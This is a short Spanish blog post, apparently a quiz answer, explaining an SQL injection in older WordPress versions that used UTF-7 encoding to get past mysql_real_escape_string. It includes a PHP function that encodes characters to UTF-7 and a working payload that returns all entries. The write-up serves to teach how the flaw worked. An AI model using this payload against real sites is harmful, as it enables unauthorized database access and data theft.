En el anterior quiz, había puesto un bug existente en versiones anteriores de WordPress que permitía hacer SQL Injection.
Como agusti comentó, el problema se presenta al aplicar la función mysql_real_escape_string antes de hacer la conversión de un juego de caracteres X a UTF-8.
mysql_real_escape_string: Escapa todos los caracteres especiales en la cadena_no_escapada, tomando en cuenta el juego de caracteres actual de la conexión, de tal modo que sea seguro usarla con mysql_query()
Pues bien, para hacer posible el ataque es necesario usar un juego de caracteres en los que ' o \ puedan ser expresados como una secuencia de caracteres seguros; uno de éstos es UTF-7, ya que ' puede ser representado como +ACc- y \ como +AFw-.
Para obtener esas secuencias, pueden hacerlo manualmente en base a la documentación sobre UTF-7 o usando esta simple función:
$table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function mb64($match) {
global $table;
return $table[bindec($match[0])];
}
function utf7_char($char) {
$bin = str_pad(decbin(ord($char)), 16, 0, STR_PAD_LEFT) . '00';
return '+' . preg_replace_callback('/\d{6}/', 'mb64', $bin) . '-';
}
echo utf7_char("'");
?>
Ahora con las herramientas necesarias, lo único que queda es empezar a jugar con la consulta para obtener los resultados deseados, por ejemplo con los siguientes valores obtenemos todas las entradas (notar que sólo se necesita evadir '):
title=+ACc- or 1=1--+ACc- (equivale a ' or 1=1--')
charset=utf-7
Se deja como tarea para el lector probar otras consultas 🙂